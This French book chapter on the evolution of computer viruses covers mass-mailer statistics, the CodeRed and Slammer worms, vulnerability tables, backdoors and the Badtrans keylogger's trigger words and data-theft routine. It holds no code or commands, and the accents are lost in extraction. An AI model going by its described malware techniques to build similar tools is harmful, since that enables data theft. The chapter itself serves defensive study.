Les courbes de ces alertes rejoingnent celles du nombre total estim de virus par catgorie. Dans un premier temps macro-virus (exemple : W97M/Melissa@MM), ensuite utilisant le VBScript (exemple : VBS/LoveLetter@MM), la tendance actuelle montre une recrudescence des virus programme (exemple W32/Nimda@MM) dont lintrt rside dans la capacit dintgrer dans un mme ensemble plusieurs techniques de propagation (messagerie, disques partags, serveurs IIS, etc.).

Figure 10.2 Estimation du nombre total de mass-mailers par catgorie

Alors que leur nombre natteignait pas 350 au 1er janvier 2002, le chiffre actuel des mass-mailers dpasse peut-tre aujourdhui les 10 000.

Figure 10.3 Prdominance des mass-mailers dans le TOP-10 du CLUSIF

10.2 Envahir nos machines

263

Cette prdominance est mondialement visible dans les divers TOP-10. En France, depuis le dbut 2000, le CLUSIF collecte les alertes que lui remontent certains de ses membres. Grce ce travail collectif il est possible dtablir une table de prvalence trimestrielle qui regroupe les virus les plus communment rencontrs sur notre territoire. Depuis plus de 2 ans, ce sont principalement des mass-mailers. Rappelons quil existe deux types de mass-mailers : Le suffixe @M est ddi aux premiers dentre eux. Ils ont une propagation lente et ciblent une seule bote aux lettres chacune de leur activation. Les seconds ciblent plusieurs botes aux lettres chacune de leur activation et ont une propagation plus explosive. Le suffixe @MM leur est ddi. La plate-forme macro-virus (exemple : W97M/Melissa@MM) est de moins en moins rpandue. La mode est passe. Alors que plus de 60 virus de cette famille furent crs en 2000, on en compta moins de 20 en 2001. Ce chiffre fut peine dpass en 2002. Cette disparition se retrouve au niveau de lObservatoire Virus du CLUSIF qui nen cite plus aucun depuis 3me trimestre 2001.

Figure 10.4 volution du nombre des mass-mailers (macro-virus)

Dunod La photocopie non autorise est un dlit

Les plates-formes VBScript (exemple : VBS/LoveLetter@MM) et JAVAScript (JS/ Kak@M) sont en perte de vitesse. La mode passe. Alors que plus de 160 virus de cette famille furent crs en 2000, on en compta moins de 90 en 2001. Cette tendance se retrouve galement au niveau de lObservatoire Virus qui, depuis le 3me trimestre 2003, nen cite plus dans son TOP-10.

Figure 10.5 volution du nombre des mass-mailers (Script)

264

Chapitre 10. Dernires volutions et perspectives

La plate-forme 32 bits (exemple W32/Nimda@MM, W95/Babylonia@M) est en plein essor. Le virus programme est la mode. Plus de 130 virus de cette famille furent crs en 2001 et la progression est exponentielle. Cet engouement se retrouve bien entendu dans le TOP-10 avec des virus quasi exclusivement de ce type.

Figure 10.6 volution du nombre des mass-mailers (virus programme)

Lintrt de ces chiers binaires sexplique par le fait quun code unique peut intgrer diverses techniques dinfection tout en distribuant, en sus, des outils de piratage qui aideront son auteur poursuivre ses projets. Au l des mois, le nombre des entreprises remontant leurs alertes vers le CLUSIF a peu vari. Leurs statistiques mensuelles ont t transmises sans la moindre discontinuit. Cette rigueur permet de dater la premire perce des mass-mailers dans la vie quotidienne. Il sagit de mai 2001. La gure 10.7 nous montre aussi que malgr les progrs de nos anti-virus et ceux des procdures de scurit mises en uvre, des intrus sans complexit particulire et non innovants ont toujours su tromper la vigilance.

Figure 10.7 Nombre dalertes remontes lObservatoire Virus du CLUSIF

(annes 2000, 2001 et 2002)

10.2 Envahir nos machines

265

Jusqu la n 2003, en priode de crise, environ 140 e-mails sur 10 000 (1,4 %) sont infects. Ce nombre est divis par 2 en priode normale. Larrive de Mydoom marque le dbut dune seconde poque. Apparu en n de mois, le virus fait nanmoins exploser les compteurs. Selon certaines sources le taux de mails infects dpassa un moment les 30 %1. Liss sur un mois, il se limite 3,5 %.

Figure 10.8 Leffet Mydoom : estimation mensuelle du nombre

de mails infects pour 10 000 mails en circulation

Aujourdhui Mydoom appartient au pass mais les utilisateurs de linformatique semblent toujours aussi crdules et vulnrables. Au mois de juin 2004, les statistiques semblaient montrer quen France 21 % des e-mails lentre des messageries des grandes entreprises taient lis la propagation virale.

Dunod La photocopie non autorise est un dlit

Figure 10.9 Estimation mensuelle du nombre de mails infects

pour 10 000 mails en circulation


1. www.secuserve.com.

266

Chapitre 10. Dernires volutions et perspectives

Si le pourcentage de courriels infects ne cesse de crotre alors que les entreprises sestiment bien protges et indiquent des faibles cots au regard des attaques virales, cest que les virus actuels expdient normment plus de-mails depuis une seule adresse IP dorigine que par le pass. Cest aussi parce que le double-clic inconsidr reste monnaie courante chez bon nombre de particuliers. Ils ne protgent pas correctement leurs stations personnelles et sont les principales victimes et les principaux pollueurs. Ce pourcentage suprieur 20 % est nanmoins surprenant ; il ma tonn moimme et, alors que je terminais la rdaction de ce livre. Jai donc interrog certaines grandes socits qui mont alors fourni leurs statistiques : la premire socit ne ma fourni quune estimation globale : entre 7 et 9 % tout au long de lanne, la seconde confirm mes chiffres sans me fournir ses propres statistiques, 4 socits mont fourni des statistiques : 2 aprs filtrage des extensions. 2 avant filtrage.

Figure 10.10 Importance des e-mails avec virus

Ce rsultat amne deux commentaires. Le premier concerne la technique de ltrage amont des extensions. Elle est plus ou moins efcace selon les socits. Certaines dentres-elles devraient sans doute revoir la liste de leurs extensions interdites. Si cette technique est mene de manire stricte, elle semble correctement isoler lentreprise. Si elle est laxiste, le ltrage devient vite illusoire. En second lieu, ces courbes conrment les statistiques mises par le CLUSIF : les mass-mailers circulent foison. Ils rentrent difcilement dans les entreprises (nos statistiques concernent des interceptions de virus, pas des infections) mais sont innombrables sur le NET. Ils sont sans aucun doute en provenance des particuliers qui ngligent les rgles de base en matire de scurit et qui, du fait de lADSL, restent connects 24h sur 24.

10.3 Saffranchir de lutilisateur, gagner en vitesse, diminuer en taille

267

Notons enn lapparition depuis la n 2003 des programmes de type robots quon rencontre de plus en plus frquemment. Les concepteurs danti-virus intgrent chaque jour dans leurs bases des dizaines de ces programmes connus sous les noms de Spybot, Gaobot et autres Sdbot Ces derniers venus sont eux mme des vers propagation lente. Chaque variante est cre dans un but prcis. Si vous ou votre entreprise tes cibls, vous seuls en possdez la souche. Une fois sur votre machine, ils attendent des ordres venant dun serveur distant. Ils capturent de linformation, participent depuis chez vous des attaques groupes (DDoS) et servent de relais de spamming, de phishing, dadwares et de spywares. Leur dure de vie est courte, cest leur nombre qui fait leur force. Ils sont crs, ils sont distribus an de crer un botnet et rapidement utiliss. Ils attendent dtre sollicits par leur concepteur ou par ceux qui louent leurs services. Certains outils commerciaux douteux sen servent comme intermdiaires.

10.3 SAFFRANCHIR DE LUTILISATEUR, GAGNER EN VITESSE, DIMINUER EN TAILLE


Les auteurs de virus cherchent encore et toujours augmenter la rapidit de propagation de leur cration. Cest un autre objectif du moment. La parfaite exploitation de lenvironnement rseau et lexploitation de nouvelles vulnrabilits par des vers tels que W32/Codered.A.worm (alias W32/Bady) ou W32/SQLSlammer.worm montrent quen quelques dizaines de minutes, il est maintenant possible denvahir la plante. Pour gagner en vitesse, ces nouveaux venus doivent avoir des routines dactivation automatique sans la ncessit dune action humaine (double-clic, prvisualisation).
Dunod La photocopie non autorise est un dlit

10.3.1 CODERED
En juin 2001, 6 millions de sites web de par le monde utilisaient Microsoft Internet Information Server1. Principal concurrent dApache (18,5 millions de sites grs), IIS, permet le partage des informations, la cration et la publication dapplications, lhbergement et la gestion des sites. Ce mme mois, dimportantes failles sont dcouvertes. La socit eEye spcialise dans la scurit, et diteur dune solution pare-feu logicielle ddi IIS dcou-

1. NETCRAFT (2001), June 2001 Web Server Survey. http://www.netcraft.com/Survey/ Reports/0106/.

268

Chapitre 10. Dernires volutions et perspectives

vre lune dentres elles1. Elle alerte Microsoft sur un problme de dpassement de capacit de la mmoire tampon. Celui ci reconnat le dfaut et propose un correctif2. Comme lhabitude, ce furent surtout les auteurs de virus qui portrent attention cette faille. Ils imaginrent un nouveau ver. Inject le 12 juillet, les premiers indices de sa prsence apparaissent le lendemain3. Ltude du code dmontre les spcicits du ver : La propagation se fait exclusivement en mmoire vive ; aucun code nest crit sur le disque dur. Cest au travers du flux HTTP que la dtection doit avoir lieu. Du 1 au 19 du mois, le ver gnre alatoirement une liste dadresses IP et envoie vers celles-ci des rpliques de lui mme par le port TCP/IP 80. Entre le 20 et le 27 du mois, le ver lance une attaque du type dni de service distribu (DDoS) lencontre du site Internet de la Maison Blanche. Du 28 la fin du mois, le ver est inactif. Le gnrateur dadresse est simpliste (valeur de dpart xe) et la propagation du virus sen trouve affecte. Le 19 juillet 2001, une variante B apparat avec un nouveau gnrateur dadresses IP. Celui ci utilise une adresse de dpart alatoire. En consquence, chaque ordinateur infect est suppos atteindre des sries de cibles diffrentes. Cest une modication qui change tout : plus de 350.000 machines seront infectes en 13 heures. Selon les tudes le seuil des 300.000 machines est atteint en 4 heures4 ou en 9 heures5. Alors que des ralentissements et des arrts systme sporadiques commencent se faire sentir, la date du 20 est atteinte et linfection sarrte avec ces chiffres. Plusieurs animations ont t produites pour montrer la rapidit de propagation de CodeRed. Jeff Brown, de CAIDA/UCSD (University of California, San Diego) en propose une qui retrace linfection du 19 juillet de 5 minutes en 5 minutes6.

1. EEYE (juin 2001), All versions of Microsoft Internet Information Services Remote buffer overow. (SYSTEM Level Access). http://www.eeye.com/html/Research/Advisories/AD20010618.html. 2. MS01-033 : Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise [MS01-033]. 3. MAIFFRET, Marc, (juillet 2001), Full analysis of the .ida "Code Red" worm. http://archives.neohapsis.com/archives/ntbugtraq/2001-q3/0016.html. 4. CAIDA, Cooperative Association for Internet Data Analysis (juin 2002). CAIDA Analysis of Code-Red. http://www.caida.org/analysis/security/code-red/. 5. SANS, SysAdmin, Audit, Network, Security Institute (2001). Practical Assignment for SANS GSEC Version 1.2E Code Red Worm Invasion. Sharon Bristow. http://www.sans.org/rr/paper.php?id=93. 6. BROWN Jeff, (Juin 2001). Animated gif of geographic spread of Code-Red worm, http:// www.caida.org/analysis/security/code-red/newframes-small-log.gif.

10.3 Saffranchir de lutilisateur, gagner en vitesse, diminuer en taille

269

Figure 10.11 Propagation de CodeRed le 19 juillet 2001 (Source CAIDA)


Dunod La photocopie non autorise est un dlit

10.3.2 SLAMMER
Un an et demi aprs Codered, apparat Slammer. Les leons apprises nont pas vraiment servi. Le patch de scurit bloquant la faille utilise tait connu depuis juillet 20021. De nombreuses machines taient vulnrables : elles navaient reu ni le patch, ni le service pack 3 pour Microsoft SQL 2000 et Microsoft Desktop Engine 2000. De par sa conception, Slammer gnra des arrts de service en exploitant les faiblesses de larchitecture rseau et des protocoles (attaque en dni de service distribu
1. MS02-039 Buffer Overruns in SQL Server 2000 Resolution Service Could Enable Code Execution.

270

Chapitre 10. Dernires volutions et perspectives

DDoS). Tout comme la premire version de CodeRed en juillet 2001, sa propagation se t exclusivement en mmoire vive. Aucun code viral ne fut crit sur le disque dur. Cest au travers du port de service UDP 1434 que le ver envoya sa trame de donnes. Une fois la machine compromise, le ver cherchait se rexpdier via ce mme port vers des sries dadresses IP quil gnrait alatoirement au travers dune boucle innie. Consommant ainsi de plus en plus de bande passante, il en rsulta un ralentissant du trac allant mme jusquau blocage dans certaines zones du WEB. Lattaque dbuta le samedi 25 janvier 2003 5h30 GMT1. En 3 minutes, Slammer avait atteint son niveau maximal dactivit en effectuant 55 millions de scans la seconde. En thorie, les spcialistes estimrent quune machine infecte ayant un accs 100 Mb aurait t mme deffectuer 30.000 scans la seconde. En 10 minutes, 90 % des machines vulnrables taient atteintes et le niveau dactivit du ver baissa faute de bande passante sufsante. Selon les sources cest entre 75.000 et 350.000 machines qui furent infectes2. Le chiffre le plus lev est sans doute le plus probable. Limpact le plus important a t rencontr en Core du Sud ds le dbut de lattaque3. Le mardi suivant, le rseau de la poste italienne subit son tour dimportants blocages qui entranrent de graves disfonctionnements dans ses 14.000 agences4. Dautres pays tels que les tats-Unis, lAsie du Sud Est, le Japon et lInde ont eux aussi t fortement touchs. Lune des consquences du ver fut lindisponibilit de 5 des 13 serveurs de noms DNS5. Avec Slammer, nous semblions aussi assister une recherche doptimisation dans la taille du code. Nimda pesait 60 kilo-octets, CodeRed, 4 kilo-octets alors quici Slammer se limitait 376 octets.

1. CAIDA, (2003), Analysis of the Sapphire Worm A joint effort of CAIDA, ICSI, Silicon Defense, UC Berkeley EECS and UC San Diego CSE. http://www.caida.org/analysis/security/sapphire. 2. SECURITYFOCUS (11 juin 2003), Antivirus industry steamed over virus article, college class. http://www.securityfocus.com/news/5698 SECURITYFOCUS, (15 aot 2003), Blasters Microsoft Attack Fizzles. http://www.securityfocus.org/news/6736. 3. COMPUTER WORLD (27 fvrier 2003), Local networks unscathed by Slammer virus, Computers & Security, Volume 8 N4 (1989), pp 325-344. http://www.phangnaughton.com/sophos_clippings/feb03/phil/022703CW.pdf 4. AFP, (2003), Italy hit by serious Internet attack. http://www.metimes.com/2K3/issue2003-5/reg/italy_hit_by.htm. 5. SEARCHSECURITY, (25 janvier 2003), Update: SQL worm slows Internet; some root DNS servers down. http://www.metimes.com/2K3/issue2003-5/reg/italy_hit_by.htm.

10.4 Utiliser des failles

271

La rapidit de propagation fut aussi un point fort de cette histoire. Des experts ont nanmoins dcouvert plusieurs faiblesses dans son gnrateur alatoire. Celles ci ont entran un dcit de qualit dans la distribution des adresses IP servant de base la gnration des adresses cibles. Certains sattendent donc dautres propagations encore plus explosives et dangereuses dans un futur plus ou moins proche. Il faut enn se rjouir de labsence de charge nale (payload). Si un module de destruction quelconque avait t associ au ver, les dgts auraient pu savrer catastrophiques.

10.4 UTILISER DES FAILLES


Il est possible de dfinir une vulnrabilit comme une caractristique dun systme informatique qui permet, un instant donn, une personne dentraver son fonctionnement normal. Cette caractristique peut aussi permettre un utilisateur non autoris de prendre le contrle de ce systme. Face elle se situe lexploit. Cest un programme ou une technique permettant dutiliser la vulnrabilit dcouverte au sein du logiciel informatique prdfini. Ltalage de nouvelles vulnrabilits et la mise disposition de codes correspondants sont des aides la conception. Selon le CERT (Coordination center computer Emergency Response Team), leur nombre a t multipli par 10 en 3 ans1. Windows en a t la principale victime.

Dunod La photocopie non autorise est un dlit

Figure 10.12 volution du nombre des vulnrabilits entre 1995 et 2003

1. CERT (7 mai 2003), CERT/CC Overview, Disponibles ladresse : http://www.cert.org/present/cert-overview-trends/module-1.pdf.

272

Chapitre 10. Dernires volutions et perspectives

Il serait fastidieux de lister lensemble des vulnrabilits qui peuvent, ou qui pourraient permettre un virus de se propager ; il y en a plusieurs centaines. Les principales ont dj t cites dans le chapitre ddi aux vers. Elles sont, pour la plupart, rappeles dans le tableau prsent plus avant dans ce paragraphe. Limportance du phnomne dest plus dmontrer. Le nombre de vulnrabilits augmente, le nombre dexploits aussi. La facilit de propagation de W32/Lovsan.A.worm prouve quil reste bien du chemin parcourir.

Figure 10.13 Seul une alerte majeur incite les utilisateurs appliquer les patchs

Exemple de W32/Lovsan.worm
Tableau 10.2 Principales vulnrabilits lies lenvironnement Microsoft RFRENCE MICROSOFT MS99-001 DSIGNATION DE LA VULNRABILIT Exposure in Forms 2.0 TextBox Control that allows data to be read from users Clipboard Word 97 Template Taskpads Scripting Vulnerability DHTML Edit Vulnerability Scriptlet typelib /Eyedog IFRAME ExecCommand Active Setup Control Vulnerability VM File Reading Vulnerability QUELQUES EXEMPLES W97M/Footprint

MS99-002 MS99-007 MS99-011 MS99-032 MS99-042 MS99-048 MS00-011

W97M/ATU.A Active-X hostile Active-X hostile JS/Kak@M VBS/Bubbleboy@MM AX/Frame-Exploit Active-X hostile Java hostile

10.4 Utiliser des failles

273

RFRENCE MICROSOFT MS00-034 MS00-037 MS00-052 MS00-075 MS00-078

DSIGNATION DE LA VULNRABILIT Office 2000 UA Control Scripting HTML Help File Code Execution Relative Shell Path Microsoft VM ActiveX Component Web Server Folder Traversal

QUELQUES EXEMPLES VBS/Davinia@MM AX/OUA-Exploit W32/Blebla.B@MM VBS/Exploit-AM W32/CodeRed.C.worm (Trojan) VBS/Loding.A@MM W32/Korvar@MM SunOS/BoxPoison (aspect gachette) W32/Nimda.A@MM Java hostile Malformed vCard Exploit W32/Fever@M W32/Nimda@MM W32/Badtrans@MM W32/Klez@MM W32/Yaha@MM W32/Frethem@MM W32/Lirva@MM W32/Bugbear@MM W97M/Gogaru.A W32/CodeRed.A.worm

MS00-081 MS01-010 MS01-020

New Variant of VM File Reading Vulnerability Outlook, Outlook Express VCard Handler Contains Unchecked Buffer Incorrect MIME Header CAN-2001-0154

MS01-028 MS01-033
Dunod La photocopie non autorise est un dlit

RTF document linked to template can run macros without warning Unchecked Buffer in Index Server ISAAPI Extension Could Enable Web Server Compromise (superseded by MS01-044) Outlook View Control Exposes Unsafe Functionality Cumulative Patch for IIS Cumulative Patch for Internet Explorer XMLHTTP Control Can Allow Access to Local Files Cumulative Patch for Internet Explorer SQL Server UDP Buffer Overflow Remote Exploit

MS01-038 MS01-044 MS02-005 MS02-008 MS02-015 MS02-039

AX/OVC-Exploit.demo W32/Nimda.A@MM JS/Exploit-Messenger Exploit-XMLhttp W32/Eyeveg.worm W32/Mimail@MM DDoS-SQLhuc W32/SQLSlammer.worm

274

Chapitre 10. Dernires volutions et perspectives

RFRENCE MICROSOFT MS02-047 MS03-001 MS03-007 MS03-008 MS03-011 MS03-014 MS03-026

DSIGNATION DE LA VULNRABILIT Cumulative Patch for Internet Explorer Unchecked Buffer in Locator Service Could Lead to Code Execution Security Update for Microsoft Windows Flaw in Windows Script Engine Could Allow Code Execution Flaw in Microsoft VM Could Enable System Compromise (816093) Cumulative Patch for Outlook Express Buffer Overrun In RPC Interface Could Allow Code Execution

QUELQUES EXEMPLES JS/Exploit-DialogArg W32/Gaobot.AA.worm W32/Nachi.worm JS/Exploit-MS03-008 Exploit-Byteverify W32/Mimail@MM W32/Blaster.worm W32/Lovsan.worm W32/Nachi.worm IRC/Rootbot W32/Plexus.A@MM VBS/Inor & Downloader-ED Exploit-MS03-032.dr W32/Raleka.worm W32/Gaobot.AA.worm W32/Dinkdink.worm W32/Stdbot.worm Qhost-1 Exploit-MS03-043 Exploit-MS03-049 Exploit-MS03-051

MS03-032 MS03-039

Cumulative Patch for Internet Explorer Buffer Overrun In RPCSS Service Could Allow Code Execution

MS03-040 MS03-043 MS03-049 MS03-051

Cumulative Patch for Internet Explorer (828750) Buffer Overrun in Messenger Service Could Allow Code Execution Buffer Overrun in the Workstation Service Could Allow Code Execution Buffer Overrun in Microsoft FrontPage Server Extensions Could Allow Code Execution Cumulative Security Update for Internet Explorer (832894) Cross-Domain Vulnerability Drag-and-Drop Operation Vulnerability Improper URL Canonicalization Vulnerability

MS04-004

VBS/Psyme JS/Exploit-WhoFramed JS/Exploit-DragDrop Exploit-URLSpoof.gen Exploit-MS04-007

MS04-007

ASN .1 Vulnerability that Could Allow Code Execution (828028)

10.4 Utiliser des failles

275

RFRENCE MICROSOFT MS04-011

DSIGNATION DE LA VULNRABILIT LSASS vulnerability CAN-2003-0533

QUELQUES EXEMPLES W32/Gaobot.worm W32/Sasser.worm W32/Cycle.worm W32/Bobax.worm W32/Stdbot.worm W32/Wallon.worm.A Exploit-MhtRedir.gen HTool/Exp-MS04-028 HTool-Exp.MS04-032!gdi W32/Golten.A Exploit-HelpZonePass JS/Exploit-HelpXSite Exploit-LoadImgAPI Exploit-ANIfile Exploit-PNGfile

MS04-013 MS04-028 MS04-032 MS05-001 MS05-002

Cumulative Security Update for Outlook Express (837009) Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution Graphics Rendering Engine Vulnerability CAN-2004-0209: Vulnerability in HTML Help Could Allow Code Execution (890175) Vulnerability in Cursor and Icon Format Handling Could Allow Remote Code Execution (891711) Vulnerability in PNG Processing Could Allow Remote Code Execution (890261)

MS05-009

Mme sil est souvent accus, Microsoft nest pas le seul reconnatre et corriger des dciences lies ses produits. Les autres environnements et certains de leurs applicatifs sont galement vulnrables un instant donn. Comme le montre le tableau suivant, la seule consultation des encyclopdies virales est l pour en donner un large chantillon.

Dunod La photocopie non autorise est un dlit

Tableau 10.3 Nombre approximatif de vulnrabilits cites dans lencyclopdie virale McAfee PLATEFORME AVIRT Mail Server AX VULNRABILITS CITES Moins de 10 Moins de 10 QUELQUES EXEMPLES Exploit-AVBO Avirt 3.3a Bubber Overflow AX/CHM-Exploit BackDoor-FB.svr Display Pentium3 ID AX/CPU-Thief Exploit-Badblue Remote exploit for Badblue 1.5 BSD/Exploit-Autofsd BSD/Scalper.worm

BADBLUE Web Server BSD

Moins de 10 Moins de 10

276

Chapitre 10. Dernires volutions et perspectives

PLATEFORME BLACKICE CISCO

VULNRABILITS CITES Moins de 10 Moins de 10

QUELQUES EXEMPLES W32/Witty.worm ISS/PAM ICQ module vulnerability Exploit-CGE Cisco Global Exploiter Exploit-CIOS.src IOS vulverability Exploit-Ciskill Exploit-CIM Rot Dot Dot Bug Exploit-GkWarez Exploit-Hotmail HTML/CrashIE Exploit-IIS.Crack IIS 5.0 exploit Exploit-IIS.Hack Buffer overflow IIS malformaed URL Tool-SyaPowa Exploit-IIS.NulPrint Null print Exploit Exploit-IIS.Print Print Overflow / IIS 5.0 Exploit-IIS.Unicode Unicode/Encode vulnerability Exploit-IRC.Slap JS/Exploit-ICQ.SCM W32/Bizex.worm JS/Exploit-IndexRun JS/Exploit-Linkiller JV/Exploit-XMLhttp Linux/Slapper Buffer Overflows in OpenSSL (CAN2002-0656) Linux/Exploit-CrisCras (CERT Incident ssh1 crc-32 compensation) Linux/Exploit-Honeymoon (CERT advisory CA-2001-33 Multiple Vulnerabilities in wu-ftpd) Linux/Exploit-Lsub (imapd Remote Exploit using Buffer Overflow) Linux/Exploit-SendMail (CERT Advisory CA-2003-07 Remote Buffer Overflow in Sendmail)

Compaq Insight Manager Gatekeeper HOTMAIL HTML IIS

Moins de 10 Moins de 10 Moins de 10 Moins de 10 Plus de 25

IRC JS

Moins de 10 Plus de 50

JV LINUX

Moins de 10 Plus de 50

10.5 Distribuer une porte drobe

277

PLATEFORME LNK OpenType font type OTF PERL

VULNRABILITS CITES Moins de 10 Moins de 10 Moins de 10 Moins de 25

QUELQUES EXEMPLES LNK/Exploit-VortLink OTF/Exploit-Restart OTF/Exploit-Restart PERL/PBO-Exploit Printer Buffer Overflow PERL/WSFT-Exploit Web Server Folder Transversal PHP/Exploit-Apache PHP/Exploit-IIS Exploit-phpBB PHP/Exploit-SafeMode Exploit-Sadmind.demo CVE-1999-0977 Sun Security Bulletin #00191 / Solaris sadmind Buffer Overflow Vulnerability) SunOS/Exploit-Cmsd SunOS/Exploit-Ttdbsrv UNIX/Exploit-Aix5L UNIX/Exploit-HPUX UNIX/Exploit-Melange UNIX/Exploit-Samba UNIX/Sorso.worm Exploit-Ansi Exploit-Jbellz Exploit-Njob Exploit-RootBug Exploit-Shellcode Exploit-SolGetSu Exploit-Beavuh VirusWall NT 3.23/3.3 Exploit-Jill

PHP

Moins de 10

SOLARIS SunOS

Moins de 10 Moins de 10

UNIX

Plus de 100

UNIX like

Plus de 25

Dunod La photocopie non autorise est un dlit

VIRUSWALL

Moins de 10

10.5 DISTRIBUER UNE PORTE DROBE


Deux mois environ aprs sa premire version, une nouvelle variante de CodeRed : W32/CodeRed.c.worm (alias Code Red II) fit son apparition. Rcriture de la version originale, elle contenait un gnrateur dadresses IP plus performant que les prcdents et une porte drobe que le ver implantait sur la machine contamine.

278

Chapitre 10. Dernires volutions et perspectives

Dans ce cas prcis, la porte drobe utilisait une vulnrabilit de Windows 2000 intitule Relative Shell Path Vulnerability et rfrence comme MS00-052. Parfois nomme Trojan.VirtualRoot, celle ci peut permettre un utilisateur malintentionn de crer de nouveaux rpertoires racine dans une conguration dIIS et dexcuter le code de son choix ds quun autre utilisateur sy connecte. Cette association entre virus et outils de piratage est une autre tendance marquant notre poque. Longtemps le monde du hacking sest diffrenci de celui des auteurs de virus. Mais aujourdhui, de nombreux exemples apparaissent ou les virus diffusent des outils mme de vulnrabiliser le systme et de briser la condentialit des documents quil renferme. Socket23 en 1998 (alias W32/Cheval, Win32/HLLP.DeTroie) et W95/Kuang en 1999 (alias W95/Weird) furent les pionniers. En 2001 plus dune dizaine de virus transportaient ou contenaient une porte drobe ; on en notait une trentaine en 2002. Il y en a maintenant plusieurs centaines chaque anne. Citons parmi eux : W32/MyParty.A@MM (janvier 2002). W32/Zoec@MM (juin 2002). W32/Lovgate.C@MM (fvrier 2003). W32/Deloder.worm (mars 2003). W32/Deborm.worm.q (mars 2003).

Les virus W32/Bugbear.@MM que nous retrouverons plus en dtail dans la suite de ce chapitre possdent galement une porte drobe. Une fois connect sur la machine infect, le pirate tait mme de : capturer les informations lies la machine infecte, tlcharger des fichiers, lancer un excutable, dtruire des fichiers, lister et stopper les processus en mmoire, dmarrer le renifleur de clavier, dmarrer le serveur http sur un port particulier.

Les gures suivantes issus de lencyclopdie F-Secure prsentent linterface HTTP ainsi mise en place1.

1. ENCYCLOPEDIE F-SECURE, F-Secure Virus Descriptions : Bugbear.B. http://www.f-secure.com/v-descs/bugbear_b.shtml.

10.5 Distribuer une porte drobe

279

Figure 10.14 Physionomie du serveur HTTP install

par W32/Bugbear.B@MM

Dunod La photocopie non autorise est un dlit

Figure 10.15 Physionomie du serveur HTTP install

par W32/Bugbear.B@MM

280

Chapitre 10. Dernires volutions et perspectives

10.6 PORTER ATTEINTE LA CONFIDENTIALIT


La porte drobe nest pas lunique procd portant atteinte la confidentialit. La diffusion dinformations confidentielles linsu de lutilisateur est une autre activit mise en uvre par les virus actuels. W32/Sircam@MM, apparu en juillet 2001 est lun de ceux-l. Il reste classique dans son mode de propagation (via le carnet dadresses ou dautres adresses trouves dans certains rpertoires et partages rseaux). Il rexpdie galement des chiers se trouvant dans le rpertoire Mes documents et lorsque le destinataire ouvre lattachement, il voit safcher un document vol lexpditeur. Cela permet de mieux masquer linfection du ver. W32/Magistr.A@MM (mars 2001) et W32/Magistr.B@MM (dcembre 2001) comportent aussi une routine particulire : Si une connexion Internet active est prsente, ils recherchent des chiers DOC et TXT et slectionnent un nombre de mots alatoires au sein dun de ces chiers pour construire le sujet et le corps du message lectronique quils envoient. Ils infectent ensuite un excutable, lattachent au message lectronique et lexpdient. Dans plus dun cas sur cinq, ces deux virus attachent aussi au message un chier DOC ou TXT quils ont trouv sur le systme1. Citons encore W32/Klez.H@MM qui peut se propager accompagn dun chier pris au hasard sur le disque dur de la victime (TXT, HTM, HTML, WAB, ASP, DOC, RTF, XLS, JPG, CPP, C, PAS, MPG, MPEG, BAK, MP3 ou PDF). L aussi, il y a un risque certain pour la condentialit des donnes. Par lentremise de certains virus cits plus haut, jai personnellement reu des documents manant dun Conseil Gnral dIle de France, et dune institutrice ; cette dernire annotait sur son ordinateur les apprciations quelle attribuait ses lves. Jai galement reu des brides de journaux intimes qui nauraient jamais d me parvenir

10.7 FAIRE LA COLLECTE DE MOTS DE PASSE


La collecte de mots de passe est un autre challenge. Des chevaux de Troie particuliers que je dnomme renifleurs de mot de passe (en anglais PassWord Stealer PWS) savent parfaitement raliser ce travail.

1. ENCYCLOPEDIE KASPERSKY, I-Worm.Magistr. http://www.avp.ch/avpve/worms/email/magistr.stm.

10.7 Faire la collecte de mots de passe

281

Tout comme pour les portes drobes, la tche premire est lintroduction et le lancement de loutil dans la machine corrompue. L aussi les pirates informatiques ont compris que le virus pouvait leur tre un partenaire de choix. Lexemple de W32/Badtrans.B@MM en est un parfait exemple. Dans ce cas prcis, loutil implant sapparente en fait un renieur de clavier. Ce virus a t dcouvert en novembre 2001. Associ un envoi massif de mails, il dpose et active son cheval de Troie (PWS-Hooker.dll) an denregistrer certaines frappes de lutilisateur. Chaque seconde, le programme analyse lintitul de la fentre active la recherche des chanes de caractres LOG, PAS, REM, CON, TER et NET qui forment le dbut des mots anglais LOGon, PASsword, REMote, CONnection, TERminal et NETwork. Des squences correspondantes ces mme mots en langue russe sont aussi prsentes dans le code ; elles nous dvoilent peut-tre ainsi le pays dorigine du virus ? Si lun des mots est intercept, lenregistrement des frappes clavier est activ pour 60 secondes et le chier constitu est automatiquement envoy comme pice jointe dun message destination dune adresse choisie dans une liste prtablie1. Lun des serveurs SMTP vers lesquels des messages taient rexpdis fut mail.monkeybrains.net. La presse se t lcho de la demande que le FBI2 effectua auprs de ce fournisseur daccs amricain. Il cherchait rcuprer les donnes dtournes par le virus vers ladresse suck_my_prick@ijustgotfired.com (sic !). Le compte fut dsactiv, mais le fournisseur daccs (monkeybrain.net) semble avoir refus de livrer les informations3. En septembre 2002 et en juin 2003, les versions A et B de W32/Bugbear@MM, variantes de Badtrans, reprenaient plusieurs tendances releves depuis 2001. Outre la routine dexpdition par courrier lectronique : Elles se propageaient au travers des rseaux locaux partags en droit daccs dcriture. Elles installaient sur la machine un outil renifleur de clavier. Elles mettaient en place une porte drobe (port 36794, variante A port 1080, variante B). Elles portaient atteinte la confidentialit des donnes en rpondant aux messages prsents dans la boite de rception tout en choisissant un destinataire autre que lexpditeur convenu. Elles semblaient tre capable de re-expdier en tant que corps de message des parties de textes relevs sur la machine infecte.
1. FERRIE, Peter & SZOR, Peter (fvrier 2002), Bad Transfer, Virus Bulletin, fvrier 2002, pp 89-10. 2. FBI : Federal Bureau of Investigation. 3. SAIZ, Jrme (dcembre 2001), Les donnes drobes par le virus BadTrans intressent le FBI. http://www.01net.com/rdn?oid=171867&rub=2135.

Dunod La photocopie non autorise est un dlit

282

Chapitre 10. Dernires volutions et perspectives

W32/Bugbear.B@MM contenait galement une longue liste de domaines lis aux activits bancaires1. Il nous faudrait plusieurs pages pour lister ici les centaines de sites concernes. Jai retenu ici les quelques banques franaises cibles par le virus :
